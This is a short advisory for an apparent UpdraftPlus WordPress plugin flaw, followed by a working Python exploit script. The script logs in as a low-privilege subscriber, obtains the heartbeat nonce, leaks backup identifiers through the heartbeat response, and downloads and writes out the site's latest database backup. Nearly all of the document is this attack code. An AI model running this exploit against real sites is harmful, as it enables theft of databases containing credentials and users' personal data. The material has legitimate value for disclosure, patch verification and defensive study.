The plugins do not properly validate a user has the required privileges to access a backup’s nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.
from io import StringIO
import requests
import gzip
import json
import sys
import re
if len(sys.argv) != 4:
print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
sys.exit()
url = sys.argv[1].rstrip('/')
with requests.Session() as s:
'''
This exploit requires an account on the site (subcriber+)
'''
print('Logging in...')
# Log into WordPress using our Subscriber account
res = s.post(
url + '/wp-login.php',
headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})
'''
Exploit logic:
- The info leak occurs via the `heartbeat_received` filter. So we need to get the `heartbeat` nonce to get there.
- With the info we leaked (backup "nonce" identifiers & timestamp), download the latest database backup.
'''
print('Getting heartbeat nonce..')
nonce = s.get(url + '/wp-admin/').text
nonce = re.search(r'heartbeatSettings = \{"nonce":"([0-9a-f]+)"\};', nonce).group(1)
if not nonce:
print("Couldn't find the heartbeat nonce :-(")
sys.exit()
# Get the UpdraftPlus "nonce" backup identifier, and timestamp
print('Get last UpdraftPlus backup nonce/timestamp..')
payload = {
'action': 'heartbeat',
'_nonce': nonce,
'data[updraftplus][log_fetch]': ':-)',
'data[updraftplus][log_nonce]': '0',
}
heartbeat_response = json.loads(s.post(url+'/wp-admin/admin-ajax.php', data=payload).text)
if 'updraftplus' not in heartbeat_response or 'The backup apparently succeeded' not in heartbeat_response['updraftplus']['l']:
print("Latest log doesn't show a successful backup :-(")
sys.exit()
data = heartbeat_response['updraftplus']
backup_info = re.search(r'Backup run: resumption=\d+, nonce=([a-f0-9]+), file_nonce=([a-f0-9]+) begun at=(\d+)', data['u']['log']).groups()
if not backup_info or len(backup_info) != 3:
print("Backup logs aren't what we expected.. :-(")
sys.exit()
nonce, file_nonce, timestamp = backup_info
print(f'Found backup informations: file_nonce={file_nonce}, timestamp={timestamp}')
# Download the database backup
print('Attempt to download file backup..')
payload = {
'page': 'updraftplus',
'action': 'updraft_download_backup',
'findex': 'test',
'timestamp': timestamp,
'nonce': file_nonce,
'type': 'db'
}
gzipped_db = s.post(url+'/wp-admin/admin-post.php/%0a/wp-admin/options-general.php', data=payload).content
if len(gzipped_db) < 100:
print("Not sure there was a db to download in the first place, but it failed downloading it!")
sys.exit()
print('Writing db dump to db.sql..')
f = open('db.sql', 'wb').write(gzip.decompress(gzipped_db))